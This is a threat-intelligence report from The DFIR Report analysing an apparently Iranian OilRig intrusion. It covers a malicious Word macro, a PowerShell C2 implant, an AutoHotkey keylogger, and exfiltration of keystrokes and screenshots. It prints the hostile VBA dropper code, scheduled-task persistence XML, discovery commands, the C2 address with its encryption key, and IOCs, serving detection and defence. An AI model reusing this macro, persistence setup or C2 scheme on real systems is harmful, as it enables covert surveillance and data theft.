autohotkey keylogger

Collect, Exfiltrate, Sleep, Repeat

February 6, 2023

In this intrusion from August 2022, we observed a compromise that was initiated with a Word document containing a malicious VBA macro, which established persistence and communication to a command and control server (C2). Upon performing initial discovery and user enumeration, the threat actor used AutoHotkey to launch a keylogger.

AutoHotkey is an open-source scripting language for Microsoft Windows machines that was introduced to provide easy keyboard shortcuts and automation. As described in AutoHotkey documentation, the AHK script can be executed in a number of ways. As observed in this intrusion, the adversary executed the AHK keylogger script by calling a renamed version of AutoHotkey.exe (module.exe) and passing the script's filename (module.ahk) as a command-line parameter.

The DFIR Report Services

- **Private Threat Briefs:** Over 20 private reports annually, such as this one but more concise and quickly published post-intrusion.
- **Threat Feed:** Focuses on tracking Command and Control frameworks like Cobalt Strike, Metasploit, Sliver, etc.
- **All Intel:** Includes everything from Private Threat Briefs and Threat Feed, plus private events, long-term tracking, data clustering, and other curated intel.
- **Private Sigma Ruleset:** Features 100+ Sigma rules derived from 40+ cases, mapped to ATT&CK with test examples.
- **DFIR Labs:** Offers cloud-based, hands-on learning experiences, using real data, from real intrusions. Interactive labs are available with different difficulty levels and can be accessed on-demand, accommodating various learning speeds.

Contact us today for a demo!

Case Summary

The intrusion began with the execution of a malicious macro within a Word document. The document was themed as a job application for the firm Lumen. This tactic has been observed by many threat actor groups, including state sponsored actors in North Korea and Iran. Upon opening the file, the user was prompted to enable macros to complete the form, which began execution of the malware.

Once executed, the macro created a VBS script (Updater.vbs), two PowerShell scripts (temp.ps1 and Script.ps1), and installed persistence through a scheduled task. The implant was fully implemented in PowerShell, which is uncommon compared to many initial access tools today.

Following the execution of the VBA embedded macros, the PowerShell script, Script.ps1, began to connect to the C2 server through an encrypted channel. Around a day after execution, the server became live and began sending instructions to the implant. The instructions obtained from the server were then executed through the temp.ps1 PowerShell script.

The threat actors began executing basic discovery commands, all of which were executed via PowerShell cmdlets or built-in Windows utilities like whoami, net, time, tzutil and tracert; one exception to this was when the threat actors extracted a specific function from the PowerSploit

framework, Convert-LDAPProperty, to enumerate domain accounts in the environment. All data collected was then exfiltrated over the existing C2 channel.

On the fourth day of the intrusion, the threat actors became active again by dropping of a set of files that performed keylogger functions. A scheduled task was then created to assist in execution of the keylogger. The keylogger itself was comprised of an executable, module.exe, which was a renamed AutoHotkey binary. This would run the AutoHotkey script module.ahk. Additionally, a PowerShell script called readKey.ps1 would execute in the same task.

On the sixth day of the intrusion, the threat actors returned and collected the data compiled by the keylogger. This was performed using the makecab.exe Windows utility to compress the keylogger files before exfiltrating them to the C2 server. They then dropped another PowerShell script. This script would take a screenshot of the desktop of the infected host. After this data was exfiltrated, the threat actors reviewed the antivirus service status and some additional host data.

The threat actors returned again on the seventh and ninth days to collect the keylogger data. The threat actors were not observed performing any further actions before being evicted from the environment.

One interesting fact about this case is that the initial implant was fully implemented using PowerShell, and no executables were dropped to the victim's workstation for the implant. It's also interesting to note that the PowerShell implant was and stayed fully undetectable for a significant period of time. This is contrary to many of our reported cases where the initial access relies on initial access brokers and common malware used by those groups such as Emotet, IcedID, or Qbot.

The use of custom tailored malware points to a more targeted or discerning organization compared to the spray-and-pray approach performed by many access brokers. Reviewing the network traffic, we observed two signatures fire on the C2 traffic – ET MALWARE TA452 Related Backdoor Activity (GET)/(POST). TA452 is an activity group tracked by Proofpoint that translates to the OilRig group. Under other classifications there is overlap with COBALT GYPSY, IRN2, APT34, and Helix Kitten.

Oilrig is suspected of being an Iran based and state sponsored group. This group is widely credited with creating and utilizing various home grown PowerShell frameworks to perform their intrusions. Finally, analyzing the time of the threat actor hands on keyboard actions, the threat actors operated

between Saturday and Thursday and no activity on Friday. All activity took place place between 0300-1600 UTC which aligns with 0630-1930 (GMT +3:30) Tehran local time. All of these factors together align to point to the Iranian Oilrig group as the likely threat actors behind this intrusion.

Timeline

Analysis and reporting completed by @MittenSec, @MetallicHack and @0xtornado.

Initial Access

The initial access used in this intrusion was a malicious word document dubbed "**Apply Form.docm**". This document purported to be an application form for the technology and telecommunications company Lumen.

This was originally found and shared by @StopMalvertisin in a tweet detailing the lure and the payload. The precise delivery method remains unknown as we do not have direct evidence on how this malicious document was delivered. We assert with a medium level of confidence, based on the previous similar reports, that those documents were likely delivered through spearphishing attachments in emails (T1566).

Execution

This intrusion began with the execution of a malicious VBA macro embedded in a word document.

A first look at **"Apply Form.docm"** with olevba.py, immediately highlights some suspicious behaviors.

First off, the macro gets the name of the user executing the Word document and creates a directory in *AppData,* if it doesn't exist:

```
Private Sub Document_Open()
    Application.ScreenUpdating = False
    Call Macro1
    Dim Script, inp As String
    inp = Google.meet.Text
    pla = Google.chat.Text
    uName = Environ("username")
    Pathh = "C:\Users\" & uName &
"\AppData\Local\Microsoft\Windows\Update\"
    If Dir(Pathh) = "" Then
        MkDir Pathh
        Call Macro2
    End If
```

The malicious VBA macro then created two PowerShell scripts and one VBScript file in *"C:\Users\<USER>\AppData\Local\Microsoft\Windows\Update\"*

```
    Set FSO1 = CreateObject("Scripting.FileSystemObject")
    SetAttr Pathh, vbHidden
    Set FS1 = FSO1.CreateTextFile(Pathh & "Script.ps1", True)
    ActiveDocument.Shapes.Range(Array("Text Box 19")).Select
    Selection.WholeStory
    FS1.WriteLine Selection.Text
    FS1.Close
    Set FSO3 = CreateObject("Scripting.FileSystemObject")
    Set FS3 = FSO3.CreateTextFile(Pathh & "temp.ps1", True)
    ActiveDocument.Shapes.Range(Array("Text Box 18")).Select
    Selection.WholeStory
    FS3.WriteLine Selection.Text
    FS3.Close
    inp = Replace(inp, "PATH", Pathh)
    inp = EncodeBase65(inp)
```

```
    inp = Replace(inp, "a", "@")
    inp = Replace(inp, "H", "-")
    inp = Replace(inp, "S", "$")
    VBS = "xxx = """ & inp & """" & vbNewLine & pla
    Set FSO2 = CreateObject("Scripting.FileSystemObject")
    Set FS2 = FSO2.CreateTextFile(Pathh & "Updater.vbs", True)
    FS2.WriteLine VBS
    FS2.Close
    PNGenerator
    Application.ScreenUpdating = True
    ActiveDocument.Shapes.Range(Array("Text Box 9")).Select
End Sub
```

With Sysmon and FileCreate event 11, we can see that *WINWORD.EXE* successfully created these files:

Then, in order to execute the script and install persistence, a new scheduled task was registered:

```
Private Sub Document_Close()
    Application.ScreenUpdating = False
    uName = Environ("username")
    Pathh = "C:\Users\" & uName &
"\AppData\Local\Microsoft\Windows\Update\"
    XML = Google.map.Text
    XML = Replace(XML, "PATH", Pathh)
    Set service = CreateObject("Schedule.Service")
    Call service.Connect
    Set rootFolder = service.GetFolder("\")
    temp = rootFolder.RegisterTask("WindowsUpdate", XML, 6, , , 3)
    Call Macro4
End Sub
```

The XML above describing the scheduled task was directly embedded in the VBA macro.

```
<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.3"
xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <RegistrationInfo>
    <Description>This task is used to start the Windows Update service
when needed to perform scheduled operations such as scans.</Description>
    <URI>\WindowsUpdate</URI>
  </RegistrationInfo>
  <Triggers>
    <TimeTrigger>
      <Repetition>
        <Interval>PT10M</Interval>
        <StopAtDurationEnd>false</StopAtDurationEnd>
      </Repetition>
      <StartBoundary>2022-06-21T00:00:00</StartBoundary>
      <Enabled>true</Enabled>
      <RandomDelay>PT1M</RandomDelay>
    </TimeTrigger>
    <IdleTrigger>
      <Enabled>true</Enabled>
    </IdleTrigger>
  </Triggers>
  <Principals>
    <Principal id="Author">
      <LogonType>InteractiveToken</LogonType>
      <RunLevel>LeastPrivilege</RunLevel>
    </Principal>
  </Principals>
  <Settings>
    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
    <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
    <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
    <AllowHardTerminate>true</AllowHardTerminate>
    <StartWhenAvailable>true</StartWhenAvailable>
    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
```

```
    <IdleSettings>
      <StopOnIdleEnd>true</StopOnIdleEnd>
      <RestartOnIdle>false</RestartOnIdle>
    </IdleSettings>
    <AllowStartOnDemand>true</AllowStartOnDemand>
    <Enabled>true</Enabled>
    <Hidden>true</Hidden>
    <RunOnlyIfIdle>false</RunOnlyIfIdle>

<DisallowStartOnRemoteAppSession>false</DisallowStartOnRemoteAppSession>
    <UseUnifiedSchedulingEngine>true</UseUnifiedSchedulingEngine>
    <WakeToRun>false</WakeToRun>
    <ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
    <Priority>7</Priority>
    <RestartOnFailure>
      <Interval>PT1M</Interval>
      <Count>3</Count>
    </RestartOnFailure>
  </Settings>
  <Actions Context="Author">
    <Exec>
      <Command>wscript</Command>
      <Arguments>"PATHUpdater.vbs"</Arguments>
    </Exec>
  </Actions>
</Task>
```

Persistence

The first scheduled task installed using the malicious VBA macro, executed a VBS script, which in turn executed a PowerShell script named Script.ps1.

Script.ps1 contacts the C2 server and executed the base64 commands using temp.ps1.

Event 201 from Microsoft-Windows-TaskScheduler/Operational highlights the successful execution of this scheduled task.

Another scheduled task named *MicrosoftEdgeUpdateTaskMachineUC* was registered using schtasks.exe on the command line:

The scheduled task was then started manually:

```
C:\Windows\system32\schtasks.exe /run /tn
MicrosoftEdgeUpdateTaskMachineUC
```

The scheduled task was designed to execute module.exe and a PowerShell script named readKey.ps1. These components will be explained later in the collection section of this report.

```
<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2"
xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <RegistrationInfo>
    <Date>2022-08-04T11:52:03.8083191</Date>
    <Author>Microsoft Inc.</Author>
    <URI>\masdfm</URI>
  </RegistrationInfo>
  <Triggers>
    <LogonTrigger>
      <Enabled>true</Enabled>
      <UserId>[REDACTED]</UserId>
    </LogonTrigger>
  </Triggers>
  <Principals>
    <Principal id="Author">
      <UserId>[REDACTED]</UserId>
      <LogonType>InteractiveToken</LogonType>
      <RunLevel>LeastPrivilege</RunLevel>
    </Principal>
```

```
  </Principals>
  <Settings>
    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
    <DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries>
    <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
    <AllowHardTerminate>true</AllowHardTerminate>
    <StartWhenAvailable>false</StartWhenAvailable>
    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
    <IdleSettings>
      <StopOnIdleEnd>true</StopOnIdleEnd>
      <RestartOnIdle>false</RestartOnIdle>
    </IdleSettings>
    <AllowStartOnDemand>true</AllowStartOnDemand>
    <Enabled>true</Enabled>
    <Hidden>false</Hidden>
    <RunOnlyIfIdle>false</RunOnlyIfIdle>
    <WakeToRun>false</WakeToRun>
    <ExecutionTimeLimit>PT72H</ExecutionTimeLimit>
    <Priority>7</Priority>
  </Settings>
  <Actions Context="Author">
    <Exec>
      <Command>"C:\Users\Public\module\module.exe"</Command>
      <Arguments>"C:\Users\Public\module\module.ahk"</Arguments>
    </Exec>
    <Exec>
      <Command>powershell</Command>
      <Arguments>-ep bypass -windowstyle hidden -f
"C:\Users\Public\module\readKey.ps1"</Arguments>
    </Exec>
  </Actions>
</Task>
```

Defense Evasion

The threat actor's keylogger used in the intrusion implemented a XOR operation to encode the contents of data written to logFileuyovaqv.bin.

The threat actor removed various files created by the discovery actions during the intrusion.

```
Remove-Item "C:\Users\REDACTED\AppData\Local\Temp\logFileuyovaqv.cab"
Remove-Item c:\users\public\u.zip
Remove-Item c:\users\public\u.xml
```

Discovery

Multiple discovery commands were executed by the threat actors. Each command was executed via the `temp.ps1` file with the input commands via base64 command line arguments.

During the intrusion, the threat actors executed the following for discovery tasks.

List disk information

```
"C:\Windows\System32\Wbem\WMIC.exe" logicaldisk
```

List process

```
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command Get-Process
```

Get information about Windows Defender service

```
"C:\Windows\system32\cmd.exe" /c sc query WinDefend
```

Get current time on the victim's workstation

```
"C:\Windows\system32\cmd.exe" /c time
```

Get time zone

```
"C:\Windows\system32\cmd.exe" /c tzutil /g
```

Use TRACERT in order to discover network infrastructure

```
"C:\Windows\system32\cmd.exe" /c tracert 8.8.8.8
```

Enumerate local accounts

```
"C:\Windows\system32\net.exe" accounts
```

Get information on current user

```
"C:\Windows\system32\whoami.exe" /all
```

Enumerate files

```
get-childitem "C:\Program Files" | out-string
get-childitem "C:\Program Files (x86)" | out-string
get-childitem "C:\users" | out-string
Get-ChildItem "C:\users\$env:username\desktop\" | out-string
Get-ChildItem "C:\users\$env:username\downloads\" | out-string
Get-ChildItem "C:\users\$env:username\documents\" | out-string
```

```
Get-ChildItem $env:LOCALAPPDATA | out-string
get-childitem "C:\Program Files" | out-string
get-childitem C:\ | out-string
get-childitem C:\users\%username%\downloads | out-string
get-childitem C:\Users\%username%\AppData\Local\Microsoft\Edge\User
Data\Default | out-string
get-childitem C:\Users\$env:username\AppData\Local\Microsoft\Edge\User
Data\Default | out-string
```

A PowerShell function based on the PowerSploit Convert-LDAPProperty code was used in order to retrieve information on domain accounts:

Query AD & SAM account name

```
$s = new-object -typename system.directoryservices.directorysearcher
$s.PageSize = 999999999
$s.Filter = '(&(objectclass=computer))'
```

```
$s.findall() | % {$_.properties.samaccountname;
$_.properties.operatingsystem}
```

Computer and network information discovery

```
Get-ComputerInfo | out-string
Get-NetTCPConnection | out-string
Get-NetIPConfiguration -All | Out-String
```

Get the account information for logged-on user of a Windows machine

```
Get-WmiObject –ComputerName [REDACTED] –Class Win32_ComputerSystem |
Select-Object UserName
```

Gets the status of antimalware software on the computer.

```
Get-MpComputerStatus
```

List environment variables

```
ls $env:temp
get-childitem $env:temp | out-string
```

Get public IP address

```
Invoke-WebRequest -UseBasicParsing -Uri http://ident.me | out-string
```

Collection

Before exfiltration, the data collected from LDAP discovery was written out to an XML file.

```
Compress-Archive -Path c:\users\public\u.xml -DestinationPath
c:\users\public\u.zip -CompressionLevel Optimal
```

Threat actors also dropped and executed a PowerShell script using their `temp.ps1` C2 script:

The `sc.ps1` file contained PowerShell code to capture a screenshot of the system. The screenshots were taken upon the execution of this PowerShell script and then they were saved in the same directory as `sc.png` files.

A scheduled task named `MicrosoftEdgeUpdateTaskMachineUC` was created by the threat actors. The program executed by this task was a keylogger. This keylogger relied on the files module.exe, module.ahk, and readkey.ps1. The file t.xml contained the task used to execute these files.

The executable, module.exe, is a renamed binary of AutoHotkey. This is one of the ways in which you can execute an AutoHotkey (AHK) script.

The actual keylogger is the AHK script, module.ahk.

Navigating through the AHK script, we discovered artifacts of acquiring the keyboard layout and capturing pressed keys. In addition, we notice there is a function named `UpdateReg` that accepts a

text parameter. This registry key is also found within the readkey.ps1 script and turns out to be where the keylogger saved captured keystrokes.

The **readkey.ps1** file grabbed the keystrokes from the `KeypressValue` registry key, XOR's the data, and saves it to a log (logFileuyovaqv.bin) file.

The threat actors then made a cab file out of the collected keystrokes in preparation for exfiltration.

```
makecab "C:\Users\<REDACTED>\AppData\Local\Temp\logFileuyovaqv.bin"
C:\Users\<REDACTED>\AppData\Local\Temp\logFileuyovaqv.cab
```

Command and Control

Activity to the C2 is established via execution of the Script.ps1 and temp.ps1 files. Communication between the victim and C2 is encrypted using AES-CBC with the following Key and IV:

Key	17 1d 84 e8 41 ae e4 c0 ff fb a2 7c 86 d1 ec 82 b8 80 7c b8 c3 79 9a 11 b8 fa 2d b7 78 1f d1 5a
IV	18 3c ed 6f b3 34 9f 9a c6 f9 08 f9 29 de 35 52

First communication to the C2 (hxxp[:]//45[.]89[.]125[.]189/get) began on day one and beaconed in roughly 10-minute increments. All requests return a 502 Bad Gateway error until day two.

First C2 communication breakdown:

AES encrypted PowerShell command example:

```
0!@#EWQ654!@#EWQpowershell -command Get-Process^%$RTY:
```

SafeBreach published similar findings from this C2 infrastructure, where they described the format in detail. You can review their research here.

Exfiltration

Several files collected during discovery tasks, such as domain user account information and later the keylogger collected data, were exfiltrated to the C2 server via POST requests.

Impact

During the intrusion, no final actions beyond data collection and discovery tasks were observed.

Indicators

Atomic

```
45.89.125.189
http://45.89.125[.]189/get
http://45.89.125[.]189/put
```

Computed

```
t.xml
691332c86dd568f87b7fff4601c37895
0b676ea2ad205b70b9feb1eedbfdec72137e08e5
7ae52c0562755f909d5d79c81bb99ee2403f2c2ee4d53fd1ba7692c8053a63f6

readkey.ps1
fc5f490dbe375779b2c6bbccdd869ca6
b8c8171b6e8efd2bb0ae8d5b22749564edd38109
eb2a94ee29d902c8a13571ea472c80f05cfab8ba4ef80d92e333372f4c7191f4

module.exe
9a7d5f126904adc194df4dcbc2c5715c
a86088cf31c72cc4648ee8dfa082979a74044203
b92be3d086372fc89b3466e8d9707de78a5b6dff3e4a2eecc92c01d55a86fd7d

module.ahk
c65b10c1113c0f0d4e06609fa60d9aad
2ca263fc5f1e505c1839ab0abf56571af6c7809d
e4b2411286d32e6c6d3d7abffc70d296c814e837ef14f096c829bf07edd45180

Apply_Form.docm
f769f67681707e8f69ecdf9e62fb944c
c5f6a48fa52a279e1f3424b97662b479716229af
45f293b1b5a4aaec48ac943696302bac9c893867f1fc282e85ed8341dd2f0f50
```

```
sc.ps1
34a2677a7776f87e810814c2d3845f47
79b1f6b0afe943a60560eb20677d5b801dc29ba3
ac933ffc337d13b276e6034d26cdec836f03d90cb6ac7af6e11c045eeae8cc05

logFileuyovaqv.bin
f7611e77c5f99b81085e61b17b969afe
475320a5bf0ba52fc9ff711d8e6dba512b3fefbf
d4857156094963c8e38f6e88f4d72cb910aa537e3811eae0579f7abc568c9ae8

Updater.vbs
850b8d07180601417193a6f88227130a
e1f4a8e434638c56b7a0d2d0317f4d0d84987a40
be0e75d50565506baa1ce24301b702989ebe244b3a1d248ee5ea499ba812d698

temp.ps1
c3aedb781a5b96674764cd43ef076d10
86da0100bb6a07a89eaa4dc3ec220e9dbd6ecf71
16007ea6ae7ce797451baec2132e30564a29ee0bf8a8f05828ad2289b3690f55

Script.ps1
a3c14604fb4454ba5722f07f89780e73
ed7b9ddbaee794cecb80fac794b0e6cb0ae073b5
bda4484bb6325dfccaa464c2007a8f20130f0cf359a7f79e14feeab3f
```

Detections

Network

```
ET MALWARE TA452 Related Backdoor Activity (POST)
ET MALWARE TA452 Related Backdoor Activity (GET)
ET INFO Windows Powershell User-Agent Usage
```

Sigma

https://github.com/The-DFIR-Report/Sigma-Rules/blob/main/rules/windows/process_creation/proc_creation_win_renamed_autohotkey_binary.yml

https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_env_folder.yml

https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_susp_net_execution.yml

https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_susp_ps_appdata.yml

Yara

https://github.com/The-DFIR-Report/Yara-Rules/blob/main/17333/17333.yar

MITRE

```
PowerShell - T1059.001
Malicious File - T1204.002
Domain Account - T1087.002
System Information Discovery - T1082
Process Discovery - T1057
System Owner/User Discovery - T1033
System Network Connections Discovery - T1049
Scheduled Task/Job - T1053
Screen Capture - T1113
Keylogging - T1056.001
Symmetric Cryptography - T1573.001
Archive via Utility - T1560.001
Security Software Discovery - T1518.001
File and Directory Discovery - T1083
System Time Discovery - T1124
```

```
System Service Discovery - T1007
Modify Registry - T1112
```

Internal case #17333

Share this:

Twitter LinkedIn Reddit Facebook WhatsApp

« SHAREFINDER: HOW THREAT ACTORS DISCOVER FILE SHARES

2022 YEAR IN REVIEW »

Register For Our Next CTF

Reports

Threat Intelligence

Detection Rules

DFIR Labs

Mentoring and Coaching